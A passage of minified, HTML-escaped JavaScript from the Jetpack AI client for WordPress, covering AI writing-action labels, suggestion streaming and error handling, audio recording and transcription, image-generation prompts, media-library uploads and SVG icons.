jetpack&quot;),emoji:&quot;😎&quot;},passionate:{label:__(&quot;Passionate&quot;,&quot;jetpack&quot;),emoji:&quot;❤️&quot;},provocative:{label:__(&quot;Provocative&quot;,&quot;jetpack&quot;),emoji:&quot;🔥&quot;}},a=&quot;titleSummary&quot;,i=&quot;continue&quot;,l=&quot;simplify&quot;,c=&quot;correctSpelling&quot;,u=&quot;generateTitle&quot;,d=&quot;makeLonger&quot;,p=&quot;makeShorter&quot;,h=&quot;changeTone&quot;,m=&quot;summarize&quot;,g=&quot;changeLanguage&quot;,f=&quot;userPrompt&quot;,b=&quot;jetpackFormCustomPrompt&quot;,v=&quot;transformListToTable&quot;,k=&quot;writePostFromList&quot;,y=__(&quot;Translate&quot;,&quot;jetpack&quot;),x=__(&quot;Change tone&quot;,&quot;jetpack&quot;),j=__(&quot;Correct spelling and grammar&quot;,&quot;jetpack&quot;),w=__(&quot;Simplify&quot;,&quot;jetpack&quot;),_=__(&quot;Summarize&quot;,&quot;jetpack&quot;),C=__(&quot;Make shorter&quot;,&quot;jetpack&quot;),A=__(&quot;Expand&quot;,&quot;jetpack&quot;),S=__(&quot;Turn list into a table&quot;,&quot;jetpack&quot;),E=__(&quot;Write a post from this list&quot;,&quot;jetpack&quot;),N=__(&quot;Generate a post title&quot;,&quot;jetpack&quot;),T=__(&quot;Summary based on title&quot;,&quot;jetpack&quot;),B=__(&quot;Continue writing&quot;,&quot;jetpack&quot;),P=&quot;jetpack-sidebar&quot;,I=&quot;document-settings&quot;},2166(e,t,s){&quot;use strict&quot;;s.d(t,{R:()=&gt;a});var r=s(51609),n=s(10790);const o=(0,r.createContext)({}),a=({value:e,children:t})=&gt;(0,n.jsx)(o.Provider,{value:e,children:t})},13965(e,t,s){&quot;use strict&quot;;s.d(t,{Rb:()=&gt;r.R});var r=s(2166);s(59886),s(53471)},53471(e,t,s){&quot;use strict&quot;;s(51609),s(78836),s(13965)},59886(e,t,s){&quot;use strict&quot;;var r=s(29491),n=s(86087),o=s(46219),a=s(13965),i=s(10790);(0,r.createHigherOrderComponent)(e=&gt;t=&gt;{const{suggestion:s,error:r,requestingState:l,request:c,stopSuggestion:u,eventSource:d}=(0,o.Ay)(),p=(0,n.useMemo)(()=&gt;({suggestion:s,requestingError:r,requestingState:l,eventSource:d,requestSuggestion:c,stopSuggestion:u}),[s,r,l,d,c,u]);return(0,i.jsx)(a.Rb,{value:p,children:(0,i.jsx)(e,{...t})})},&quot;withAiDataProvider&quot;)},42694(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(3924),n=s(97999),o=s(85985),a=s(72448);function i(){const{nextTier:e,tierPlansEnabled:t}=(0,a.A)(),s=(()=&gt;{const e=new URLSearchParams(window.location.search),t=(0,o.GE)();return(0,n.isSimpleSite)()&amp;&amp;e.has(&quot;post&quot;)?`https://wordpress.com/post/${t}/${e.get(&quot;post&quot;)}`:`https://wordpress.com/home/${t}`})(),i=(0,r.A)(&quot;jetpack-ai-yearly-tier-upgrade-nudge&quot;,{site:(0,o.GE)(),path:t?`jetpack_ai_yearly:-q-${e?.limit}`:&quot;jetpack_ai_yearly&quot;,query:`redirect_to=${encodeURIComponent(s)}`}),l=(0,r.A)(&quot;jetpack-ai-upgrade-url-for-jetpack-sites&quot;,{site:(0,o.GE)(),path:&quot;jetpack_ai_yearly&quot;}),c=(0,n.isWpcomPlatformSite)()?i:l,{autosaveAndRedirect:u,isRedirecting:d}=(0,o.ZR)(c);return{checkoutUrl:c,autosaveAndRedirect:u,isRedirecting:d}}},72448(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(85985),n=s(47143),o=s(86087);function a(){const e=(0,n.useSelect)(e=&gt;e(&quot;wordpress-com/plans&quot;).getAiAssistantFeature(),[]),t=(0,n.useSelect)(e=&gt;e(&quot;wordpress-com/plans&quot;).getIsRequestingAiAssistantFeature(),[]),{fetchAiAssistantFeature:s,increaseAiAssistantRequestsCount:a,dequeueAiAssistantFeatureAsyncRequest:i}=(0,n.useDispatch)(&quot;wordpress-com/plans&quot;);return(0,o.useMemo)(()=&gt;{const n=(0,r.Bd)(e?.currentTier),o=e?.currentTier?.limit||e?.requestsLimit,l=n===r._X?e?.requestsCount:e?.usagePeriod?.requestsCount,c=n===r._X?e?.requestsLimit:o;return{...e,requestsCount:l,requestsLimit:c,loading:t,error:null,refresh:s,increaseRequestsCount:a,dequeueAsyncRequest:i}},[e,t,s,a,i])}},46219(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;p,fC:()=&gt;u});var r=s(86087),n=s(27723),o=s(10067),a=s.n(o),i=s(87286),l=s(78836);const __=n.__,c=a()(&quot;ai-client:use-ai-suggestions&quot;);function u(e){switch(e){case l.Or:return{code:l.Or,message:__(&quot;You have reached the limit of requests for this site.&quot;,&quot;jetpack&quot;),severity:&quot;info&quot;};case l.L9:return{code:l.L9,message:__(&quot;Your request was unclear. Mind trying again?&quot;,&quot;jetpack&quot;),severity:&quot;info&quot;};case l.AZ:return{code:l.AZ,message:__(&quot;Jetpack AI services are currently unavailable. Sorry for the inconvenience.&quot;,&quot;jetpack&quot;),severity:&quot;info&quot;};case l.ud:return{code:l.ud,message:__(&quot;Our service provider OpenAI could not process your prompt due to a moderation system. Please try to rephrase it changing potentially problematic words and try again.&quot;,&quot;jetpack&quot;),severity:&quot;info&quot;};case l.cT:return{code:l.cT,message:__(&quot;The content is too large to be processed all at once. Please try to shorten it or divide it into smaller parts.&quot;,&quot;jetpack&quot;),severity:&quot;info&quot;};case l.mA:default:return{code:l.mA,message:__(&quot;It was not possible to process your request. Mind trying again?&quot;,&quot;jetpack&quot;),severity:&quot;info&quot;}}}function d(e){return e.replace(/^&lt;\|start_header_id\|&gt;assistant&lt;\|end_header_id\|&gt;[\n]+/,&quot;&quot;)}function p({prompt:e,autoRequest:t=!1,askQuestionOptions:s={},initialRequestingState:n=&quot;init&quot;,onSuggestion:o,onDone:a,onStop:p,onError:h,onAllErrors:m}={}){const[g,f]=(0,r.useState)(n),[b,v]=(0,r.useState)(&quot;&quot;),[k,y]=(0,r.useState)(l.Np),x=(0,r.useRef)(l.Np),[j,w]=(0,r.useState)(),_=(0,r.useRef)(void 0),C=(0,r.useCallback)(e=&gt;{c(&quot;handleSuggestion&quot;,e);const t=d(e?.detail);t?(v(t),o?.(t)):c(&quot;no partial suggestion&quot;)},[o]),A=(0,r.useCallback)(e=&gt;{R();const t=d(e?.detail?.message??e?.detail);a?.(t,x.current),f(&quot;done&quot;)},[a]),S=(0,r.useCallback)(e=&gt;{m?.(e?.detail)},[m]),E=(0,r.useCallback)(e=&gt;{_?.current?.close(),f(&quot;error&quot;),w(u(e)),h?.(u(e))},[h]),N=(0,r.useCallback)(()=&gt;E(l.Or),[]),T=(0,r.useCallback)(()=&gt;E(l.L9),[]),B=(0,r.useCallback)(()=&gt;E(l.AZ),[]),P=(0,r.useCallback)(()=&gt;E(l.ud),[]),I=(0,r.useCallback)(()=&gt;E(l.mA),[]),M=(0,r.useCallback)(async(e,t={...s})=&gt;{var r;if(w(void 0),f(&quot;requesting&quot;),r=l.Np,y(r),x.current=r,_.current=await(0,i.A)(e,t),!_?.current)return void c(&quot;no event source&quot;);const n=_.current;f(&quot;suggesting&quot;),n.addEventListener(&quot;suggestion&quot;,C),n.addEventListener(l.Or,N),n.addEventListener(l.L9,T),n.addEventListener(l.AZ,B),n.addEventListener(l.ud,P),n.addEventListener(l.mA,I),n.addEventListener(l.zn,S),n.addEventListener(&quot;done&quot;,A)},[A,N,T,B,P,I,C]),L=(0,r.useCallback)(()=&gt;{f(&quot;init&quot;),v(&quot;&quot;),w(void 0)},[]),R=(0,r.useCallback)(()=&gt;{if(!_?.current)return;const e=_?.current;e.close(),e.removeEventListener(&quot;suggestion&quot;,C),e.removeEventListener(l.Or,N),e.removeEventListener(l.L9,T),e.removeEventListener(l.AZ,B),e.removeEventListener(l.ud,P),e.removeEventListener(l.mA,I),e.removeEventListener(&quot;done&quot;,A)},[_,C,N,T,B,P,I,A]),D=(0,r.useCallback)(()=&gt;{R(),p?.(),f(&quot;done&quot;)},[p]);return(0,r.useEffect)(()=&gt;{if(e?.length)return t&amp;&amp;M(e,s),()=&gt;{D()}},[t,e,M,D]),{suggestion:b,model:k,error:j,requestingState:g,request:M,stopSuggestion:D,reset:L,handleErrorQuotaExceededError:N,eventSource:_.current}}},7804(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(86087),n=s(27723),o=s(10067),a=s.n(o),i=s(57745);const __=n.__,l=a()(&quot;jetpack-ai-client:use-audio-transcription&quot;);function c({feature:e,onReady:t,onError:s}){const[n,o]=(0,r.useState)(&quot;&quot;),[a,c]=(0,r.useState)(&quot;&quot;),[u,d]=(0,r.useState)(!1),p=(0,r.useRef)(null);return{transcriptionResult:n,isTranscribingAudio:u,transcriptionError:a,transcribeAudio:(0,r.useCallback)(r=&gt;{l(&quot;Transcribing audio&quot;),o(&quot;&quot;),c(&quot;&quot;),d(!0);const n=new AbortController;p.current=n,(0,i.A)(r,e,n.signal).then(e=&gt;{o(e),t?.(e)}).catch(e=&gt;{n.signal.aborted||(c(e.message),s?.((e=&gt;{if(&quot;string&quot;==typeof e)return e;if(&quot;code&quot;in e)switch(e.code){case&quot;error_quota_exceeded&quot;:return __(&quot;You exceeded your current quota, please check your plan details.&quot;,&quot;jetpack&quot;);case&quot;jetpack_ai_missing_audio_param&quot;:return __(&quot;The audio_file is required to perform a transcription.&quot;,&quot;jetpack&quot;);case&quot;jetpack_ai_service_unavailable&quot;:return __(&quot;The Jetpack AI service is temporarily unavailable.&quot;,&quot;jetpack&quot;);case&quot;file_size_not_supported&quot;:return __(&quot;The provided audio file is too big.&quot;,&quot;jetpack&quot;);case&quot;file_type_not_supported&quot;:return __(&quot;The provided audio file type is not supported.&quot;,&quot;jetpack&quot;);case&quot;jetpack_ai_error&quot;:return __(&quot;There was an error processing the transcription request.&quot;,&quot;jetpack&quot;);default:return e.message}return&quot;message&quot;in e?e.message:__(&quot;There was an error processing the transcription request.&quot;,&quot;jetpack&quot;)})(e)))}).finally(()=&gt;d(!1))},[i.A,o,c,d]),cancelTranscription:(0,r.useCallback)(()=&gt;{p.current?.abort(),o(&quot;&quot;),c(&quot;&quot;),d(!1)},[p,o,c,d])}}},66859(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(86087),n=s(27723);const __=n.__,o=[&quot;audio/mpeg&quot;,&quot;audio/mp3&quot;,&quot;audio/ogg&quot;,&quot;audio/flac&quot;,&quot;audio/x-flac&quot;,&quot;audio/m4a&quot;,&quot;audio/x-m4a&quot;,&quot;audio/mp4&quot;,&quot;audio/wav&quot;,&quot;audio/wave&quot;,&quot;audio/x-wav&quot;,&quot;audio/webm&quot;];function a(){const[e,t]=(0,r.useState)(!1);return{isValidatingAudio:e,validateAudio:(0,r.useCallback)((e,s,r)=&gt;{if(t(!0),e?.size&gt;25e6)return t(!1),r(__(&quot;The audio file is too large. The maximum file size is 25MB.&quot;,&quot;jetpack&quot;));const n=e instanceof File;if(n&amp;&amp;!o.includes(e.type))return t(!1),r(__(&quot;The audio file type is not supported. Please use a supported audio file type.&quot;,&quot;jetpack&quot;));const a=new AudioContext;e.arrayBuffer().then(o=&gt;{a.decodeAudioData(o,function(o){const a=Math.ceil(o.duration);return a&gt;1500?(t(!1),r(__(&quot;The audio file is too long. The maximum recording time is 25 minutes.&quot;,&quot;jetpack&quot;))):(t(!1),s({duration:a,isFile:n,size:e?.size}))})})},[t])}}},66223(e,t,s){&quot;use strict&quot;;s.d(t,{Hu:()=&gt;n,Wp:()=&gt;r});const r=&quot;auto&quot;,n=&quot;none&quot;},62614(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;u});var r=s(10067),n=s.n(r),o=s(31439),a=s(51391);const i=n()(&quot;ai-client:use-image-generator&quot;),l=(e,t)=&gt;{const s=4e3-t;return e.length&gt;s?e.substring(0,s-6)+&quot; [...]&quot;:e},c=async(e,t,s)=&gt;{const r=((e,t)=&gt;{if(t){const s=`I need a Stable Diffusion prompt to generate a featured image for a blog post based on this user-provided image description:\n\n${t.length&gt;1e3?t.substring(0,1e3):t}\n\nThe image should be a photo. Make sure you highlight the main suject of the image description, and include brief details about the light and style of the image.\nInclude a request to use high resolution and produce a highly detailed image, with sharp focus.\nReturn just the prompt, without comments.\n\nFor additional context, this is the post content:\n\n`;return s+l(e,s.length)}return&quot;I need a Stable Diffusion prompt to generate a featured image for a blog post with the following content.\nThe image should be a photo. Make sure you highlight the main suject of the content, and include brief details about the light and style of the image.\nInclude a request to use high resolution and produce a highly detailed image, with sharp focus.\nReturn just the prompt, without comments. The content is:\n\n&quot;+l(e,412)})(e,t);return await(0,o.A)(r,{feature:s})},u=()=&gt;{const e=async function(e){let t=&quot;&quot;;try{t=(await(0,a.A)()).token}catch(e){return i(&quot;Error getting token: %o&quot;,e),Promise.reject(e)}try{const s=&quot;https://public-api.wordpress.com/wpcom/v2/jetpack-ai-image&quot;,r={Authorization:`Bearer ${t}`,&quot;Content-Type&quot;:&quot;application/json&quot;},n=await fetch(s,{method:&quot;POST&quot;,headers:r,body:JSON.stringify(e)}).then(e=&gt;e.json());return n?.data?.status&amp;&amp;n?.data?.status&gt;200?(i(&quot;Error generating image: %o&quot;,n),Promise.reject(n)):n}catch(e){return i(&quot;Error generating image: %o&quot;,e),Promise.reject(e)}};return{generateImage:async function({feature:t,postContent:s,responseFormat:r=&quot;url&quot;,userPrompt:n}){try{i(&quot;Generating image&quot;);const o=((e,t)=&gt;{if(t){const s=`I need a cover image for a blog post based on this user prompt:\n\n${t.length&gt;1e3?t.substring(0,1e3):t}\n\nBefore creating the image, identify the main topic of the user prompt and relate it to the post content.\nDo not represent the whole content in one image, keep it simple and just represent one single idea.\nDo not add details, detailed explanations or highlights from the content, just represent the main idea as if it was a photograph.\nDo not use collages or compositions with multiple elements or scenes. Stick to one single scene. Do not compose unrealistic scenes.\nIf the content describes facts, objects or concepts from the real world, represent them on a realistic style and do not make unreal compositions.\nIf the content is more abstract, use a more abstract style to represent the main idea.\nMake sure the light and the style are visually appealing.\nDo not add text to the image.\n\nFor additional context, this is the post content:\n\n`;return s+l(e,s.length)}const s=&quot;I need a cover image for a blog post.\nBefore creating the image, identify the main topic of the content and only represent it.\nDo not represent the whole content in one image, keep it simple and just represent one single idea.\nDo not add details, detailed explanations or highlights from the content, just represent the main idea as if it was a photograph.\nDo not use collages or compositions with multiple elements or scenes. Stick to one single scene. Do not compose unrealistic scenes.\nIf the content describes facts, objects or concepts from the real world, represent them on a realistic style and do not make unreal compositions.\nIf the content is more abstract, use a more abstract style to represent the main idea.\nMake sure the light and the style are visually appealing.\nDo not add text to the image.\n\nThis is the post content:\n\n&quot;;return s+l(e,838)})(s,n),a={prompt:o,response_format:r,feature:t,size:&quot;1792x1024&quot;};return await e(a)}catch(e){return i(&quot;Error generating image: %o&quot;,e),Promise.reject(e)}},generateImageWithStableDiffusion:async function({feature:t,postContent:s,userPrompt:r}){try{i(&quot;Generating image with Stable Diffusion&quot;);const n={prompt:await c(s,r,t),feature:t,model:&quot;stable-diffusion&quot;};return await e(n)}catch(e){return i(&quot;Error generating image: %o&quot;,e),Promise.reject(e)}},generateImageWithParameters:e}}},96657(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(86087);const n=&quot;audio/mp4;codecs=mp4a&quot;,o=&quot;audio/webm&quot;;function a({onDone:e}={}){const t=(0,r.useRef)(null),[s,a]=(0,r.useState)(&quot;inactive&quot;),i=(0,r.useRef)(!1),l=(0,r.useRef)(0),[c,u]=(0,r.useState)(0),d=(0,r.useRef)(null),[p,h]=(0,r.useState)(null),m=(0,r.useRef)([]).current,[g,f]=(0,r.useState)(null),b=(0,r.useRef)(null);function v(){return MediaRecorder.isTypeSupported(n)?new Blob(m,{type:&quot;audio/mp4&quot;}):new Blob(m,{type:o})}const k=(0,r.useCallback)(e=&gt;{if(w(),!e)return t?.current?.start();e&lt;100&amp;&amp;(e=100),l.current=Date.now(),t?.current?.start(e)},[]),y=(0,r.useCallback)(()=&gt;{i.current=!0,t?.current?.pause(),u(e=&gt;e+Date.now()-l.current)},[]),x=(0,r.useCallback)(()=&gt;{i.current=!1,t?.current?.resume(),l.current=Date.now()},[]),j=(0,r.useCallback)(()=&gt;{t?.current?.stop(),&quot;recording&quot;===s&amp;&amp;u(e=&gt;e+Date.now()-l.current)},[]),w=(0,r.useCallback)(()=&gt;{m.length=0,h(null),f(null),u(0),i.current=!1,l.current=0},[]),_=(0,r.useCallback)(()=&gt;{t?.current&amp;&amp;(t.current.removeEventListener(&quot;start&quot;,S),t.current.removeEventListener(&quot;stop&quot;,E),t.current.removeEventListener(&quot;pause&quot;,N),t.current.removeEventListener(&quot;resume&quot;,T),t.current.removeEventListener(&quot;dataavailable&quot;,B),t.current=null)},[]),C=(0,r.useCallback)(()=&gt;{if(a(&quot;inactive&quot;),w(),_(),!navigator.mediaDevices?.getUserMedia)return;const e=new AudioContext;b.current=e.createAnalyser();navigator.mediaDevices.getUserMedia({audio:!0}).then(s=&gt;{d.current=s;e.createMediaStreamSource(s).connect(b.current),MediaRecorder.isTypeSupported(n)?t.current=new MediaRecorder(s,{mimeType:n}):t.current=new MediaRecorder(s,{mimeType:o}),t.current.addEventListener(&quot;start&quot;,S),t.current.addEventListener(&quot;stop&quot;,E),t.current.addEventListener(&quot;pause&quot;,N),t.current.addEventListener(&quot;resume&quot;,T),t.current.addEventListener(&quot;dataavailable&quot;,B)}).catch(e=&gt;{throw e})},[]),A=(0,r.useCallback)(e=&gt;{j(),f(&quot;string&quot;==typeof e?e:e.message),a(&quot;error&quot;)},[]);function S(){a(&quot;recording&quot;)}function E(){const t=v();e?.(t),m.length=0}function N(){a(&quot;paused&quot;)}function T(){a(&quot;recording&quot;)}function B(e){const{data:t}=e;t?.size&amp;&amp;(m.push(t),h(v()),i.current||u(e=&gt;{const t=Date.now(),s=t-l.current;return l.current=t,e+s}))}return(0,r.useEffect)(()=&gt;(C(),()=&gt;{d.current&amp;&amp;d.current.getTracks().forEach(e=&gt;e.stop()),_()}),[]),{state:s,blob:p,error:g,duration:c,analyser:b.current,onError:A,controls:{start:k,pause:y,resume:x,stop:j,reset:C}}}},71508(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(74997),n=s(47143),o=s(43656),a=s(86087),i=s(55166);const l=()=&gt;{const{getBlocks:e,isEditedPostEmpty:t}=(0,n.useSelect)(e=&gt;{const t=e(&quot;core/block-editor&quot;),s=e(o.store);return{getBlocks:t.getBlocks,isEditedPostEmpty:s.isEditedPostEmpty}},[]),s=(0,a.useCallback)(()=&gt;{const t=e();return 0===t.length?&quot;&quot;:(0,r.serialize)(t)},[e]);return{getPostContent:(0,a.useCallback)(e=&gt;{let t=s();return t?(e&amp;&amp;&quot;function&quot;==typeof e&amp;&amp;(t=e(t)),t?(0,i.rh)({content:t}):&quot;&quot;):&quot;&quot;},[e]),isEditedPostEmpty:t,getSerializedPostContent:s}}},62038(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(63162),n=s(47143),o=s(86087),a=s(10067);const i=s.n(a)()(&quot;jetpack-ai-client:save-to-media-library&quot;);function l(){const[e,t]=(0,o.useState)(!1),{getSettings:s}=(0,n.useSelect)(e=&gt;e(&quot;core/block-editor&quot;),[]);return{isLoading:e,saveToMediaLibrary:(e,n=null)=&gt;{const o=s();return new Promise((s,a)=&gt;{t(!0),i(&quot;Fetching image from URL&quot;),fetch(e).then(e=&gt;{i(&quot;Transforming response to blob&quot;),e.blob().then(e=&gt;{i(&quot;Uploading blob to media library&quot;);const l=[];n?l.push(new File([e],n)):l.push(e),o.mediaUpload({allowedTypes:[&quot;image&quot;],filesList:l,onFileChange([e]){(0,r.isBlobURL)(e?.url)||(e&amp;&amp;(i(&quot;Image uploaded to media library&quot;,e),s({id:e.id,url:e.url,mime:e.mime})),t(!1))},onError(e){i(&quot;Error uploading image to media library:&quot;,e),a(e),t(!1)}})}).catch(e=&gt;{i(&quot;Error transforming response to blob:&quot;,e?.message),a(e?.message),t(!1)})}).catch(e=&gt;{i(&quot;Error fetching image from URL:&quot;,e?.message),a(e?.message),t(!1)})})}}}},93869(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(63162),n=s(47143),o=s(86087),a=s(10067);const i=s.n(a)()(&quot;ai-client:save-to-media-library&quot;);function l(){const[e,t]=(0,o.useState)(!1),{getSettings:s}=(0,n.useSelect)(e=&gt;e(&quot;core/block-editor&quot;),[]);return{isLoading:e,saveToMediaLibrary:(e,n)=&gt;{const o=s();return new Promise((s,a)=&gt;{t(!0),i(&quot;Fetching image from URL&quot;),fetch(e).then(e=&gt;{i(&quot;Transforming response to blob&quot;),e.blob().then(e=&gt;{i(&quot;Uploading blob to media library&quot;);const l=Array();n?l.push(new File([e],n)):l.push(e),o.mediaUpload({allowedTypes:[&quot;image&quot;],filesList:l,onFileChange([e]){(0,r.isBlobURL)(e?.url)||(e&amp;&amp;(i(&quot;Image uploaded to media library&quot;,e),s(e)),t(!1))},onError(e){i(&quot;Error uploading image to media library:&quot;,e),a(e),t(!1)}})}).catch(e=&gt;{i(&quot;Error transforming response to blob:&quot;,e?.message),a(e?.message),t(!1)})}).catch(e=&gt;{i(&quot;Error fetching image from URL:&quot;,e?.message),a(e?.message),t(!1)})})}}}},97784(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c,u:()=&gt;l});var r=s(86087),n=s(10067),o=s.n(n),a=s(46219);const i=o()(&quot;jetpack-ai-client:use-transcription-post-processing&quot;),l=&quot;voice-to-content-simple-draft&quot;;function c({feature:e,onReady:t,onError:s,onUpdate:n}){const[o,l]=(0,r.useState)(&quot;&quot;),[c,u]=(0,r.useState)(&quot;&quot;),[d,p]=(0,r.useState)(!1),h=(0,r.useCallback)(e=&gt;{l(e),n?.(e)},[l,n]),m=(0,r.useCallback)(e=&gt;{l(e),n?.(e),t?.(e)},[l,n,t]),g=(0,r.useCallback)(e=&gt;{u(e.message),s?.(e.message)},[u,s]),{request:f,stopSuggestion:b}=(0,a.Ay)({onSuggestion:h,onDone:m,onError:g});return{postProcessingResult:o,isProcessingTranscription:d,postProcessingError:c,processTranscription:(0,r.useCallback)((t,s)=&gt;{i(&quot;Post-processing transcription&quot;),l(&quot;&quot;),u(&quot;&quot;),p(!0);f([{role:&quot;jetpack-ai&quot;,context:{type:t,content:s}}],{feature:e})},[l,u,p,f,e]),cancelTranscriptionProcessing:(0,r.useCallback)(()=&gt;{b(),p(!1)},[b,p])}}},30151(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(56427),n=s(10790);const o=(0,n.jsxs)(r.SVG,{viewBox:&quot;0 0 32 32&quot;,width:&quot;32&quot;,height:&quot;32&quot;,fill:&quot;currentColor&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,className:&quot;ai-assistant-icon&quot;,children:[(0,n.jsx)(r.Path,{className:&quot;spark-first&quot;,d:&quot;M9.33301 5.33325L10.4644 8.20188L13.333 9.33325L10.4644 10.4646L9.33301 13.3333L8.20164 10.4646L5.33301 9.33325L8.20164 8.20188L9.33301 5.33325Z&quot;}),(0,n.jsx)(r.Path,{className:&quot;spark-second&quot;,d:&quot;M21.3333 5.33333L22.8418 9.15817L26.6667 10.6667L22.8418 12.1752L21.3333 16L19.8248 12.1752L16 10.6667L19.8248 9.15817L21.3333 5.33333Z&quot;}),(0,n.jsx)(r.Path,{className:&quot;spark-third&quot;,d:&quot;M14.6667 13.3333L16.5523 18.1144L21.3333 20L16.5523 21.8856L14.6667 26.6667L12.781 21.8856L8 20L12.781 18.1144L14.6667 13.3333Z&quot;})]})},42154(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(56427),n=s(10790);const o=(0,n.jsxs)(r.SVG,{width:&quot;20&quot;,height:&quot;20&quot;,viewBox:&quot;0 0 20 20&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:[(0,n.jsx)(r.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M10 3.95833C6.66328 3.95833 3.95833 6.66327 3.95833 9.99999C3.95833 13.3367 6.66328 16.0417 10 16.0417C13.3367 16.0417 16.0417 13.3367 16.0417 9.99999C16.0417 6.66327 13.3367 3.95833 10 3.95833ZM2.70833 9.99999C2.70833 5.97292 5.97292 2.70833 10 2.70833C14.0271 2.70833 17.2917 5.97292 17.2917 9.99999C17.2917 14.0271 14.0271 17.2917 10 17.2917C5.97292 17.2917 2.70833 14.0271 2.70833 9.99999Z&quot;}),(0,n.jsx)(r.Path,{d:&quot;M10.8333 5.83333H9.16667V10.8333H10.8333V5.83333Z&quot;}),(0,n.jsx)(r.Path,{d:&quot;M10.8333 12.5H9.16667V14.1667H10.8333V12.5Z&quot;})]})},91396(e,t,s){&quot;use strict&quot;;s.d(t,{Qr:()=&gt;a.A,Vo:()=&gt;n.A,cj:()=&gt;r.A,ni:()=&gt;o.A});var r=s(30151),n=s(81353),o=(s(95007),s(96626),s(4416),s(25680)),a=s(67205)},81353(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(56427),n=s(10790);const o=(0,n.jsxs)(r.SVG,{width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/SVG&quot;,children:[(0,n.jsx)(r.Path,{d:&quot;M12 4.75C11.0479 4.75 10.1052 4.93753 9.22554 5.30187C8.34593 5.66622 7.5467 6.20025 6.87348 6.87348C6.20025 7.5467 5.66622 8.34593 5.30187 9.22554C4.93753 10.1052 4.75 11.0479 4.75 12C4.75 12.9521 4.93753 13.8948 5.30187 14.7745C5.66622 15.6541 6.20025 16.4533 6.87348 17.1265C7.5467 17.7997 8.34593 18.3338 9.22554 18.6981C10.1052 19.0625 11.0479 19.25 12 19.25C13.9228 19.25 15.7669 18.4862 17.1265 17.1265C18.4862 15.7669 19.25 13.9228 19.25 12C19.25 10.0772 18.4862 8.23312 17.1265 6.87348C15.7669 5.51384 13.9228 4.75 12 4.75ZM3.25 12C3.25 9.67936 4.17187 7.45376 5.81282 5.81282C7.45376 4.17187 9.67936 3.25 12 3.25C14.3206 3.25 16.5462 4.17187 18.1872 5.81282C19.8281 7.45376 20.75 9.67936 20.75 12C20.75 14.3206 19.8281 16.5462 18.1872 18.1872C16.5462 19.8281 14.3206 20.75 12 20.75C9.67936 20.75 7.45376 19.8281 5.81282 18.1872C4.17187 16.5462 3.25 14.3206 3.25 12Z&quot;,fill:&quot;#008710&quot;}),(0,n.jsx)(r.Rect,{x:&quot;10.5&quot;,y:&quot;8.25&quot;,width:&quot;3&quot;,height:&quot;4.875&quot;,rx:&quot;1.5&quot;,fill:&quot;#008710&quot;}),(0,n.jsx)(r.Path,{d:&quot;M15 11.25C15 11.644 14.9224 12.0341 14.7716 12.3981C14.6209 12.762 14.3999 13.0927 14.1213 13.3713C13.8427 13.6499 13.512 13.8709 13.1481 14.0216C12.7841 14.1724 12.394 14.25 12 14.25C11.606 14.25 11.2159 14.1724 10.8519 14.0216C10.488 13.8709 10.1573 13.6499 9.87868 13.3713C9.6001 13.0927 9.37913 12.762 9.22836 12.3981C9.0776 12.0341 9 11.644 9 11.25&quot;,stroke:&quot;#008710&quot;,strokeWidth:&quot;1.125&quot;,strokeLinecap:&quot;round&quot;}),(0,n.jsx)(r.Path,{d:&quot;M11.4375 15.75C11.4375 16.0607 11.6893 16.3125 12 16.3125C12.3107 16.3125 12.5625 16.0607 12.5625 15.75L11.4375 15.75ZM11.4375 14.25L11.4375 15.75L12.5625 15.75L12.5625 14.25L11.4375 14.25Z&quot;,fill:&quot;#008710&quot;})]})},95007(e,t,s){&quot;use strict&quot;;var r=s(56427),n=s(10790);r.SVG,r.Path,r.Path},25680(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(56427),n=s(10790);const o=(0,n.jsxs)(r.SVG,{width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/SVG&quot;,children:[(0,n.jsx)(r.Path,{d:&quot;M12 4.75C11.0479 4.75 10.1052 4.93753 9.22554 5.30187C8.34593 5.66622 7.5467 6.20025 6.87348 6.87348C6.20025 7.5467 5.66622 8.34593 5.30187 9.22554C4.93753 10.1052 4.75 11.0479 4.75 12C4.75 12.9521 4.93753 13.8948 5.30187 14.7745C5.66622 15.6541 6.20025 16.4533 6.87348 17.1265C7.5467 17.7997 8.34593 18.3338 9.22554 18.6981C10.1052 19.0625 11.0479 19.25 12 19.25C13.9228 19.25 15.7669 18.4862 17.1265 17.1265C18.4862 15.7669 19.25 13.9228 19.25 12C19.25 10.0772 18.4862 8.23312 17.1265 6.87348C15.7669 5.51384 13.9228 4.75 12 4.75ZM3.25 12C3.25 9.67936 4.17187 7.45376 5.81282 5.81282C7.45376 4.17187 9.67936 3.25 12 3.25C14.3206 3.25 16.5462 4.17187 18.1872 5.81282C19.8281 7.45376 20.75 9.67936 20.75 12C20.75 14.3206 19.8281 16.5462 18.1872 18.1872C16.5462 19.8281 14.3206 20.75 12 20.75C9.67936 20.75 7.45376 19.8281 5.81282 18.1872C4.17187 16.5462 3.25 14.3206 3.25 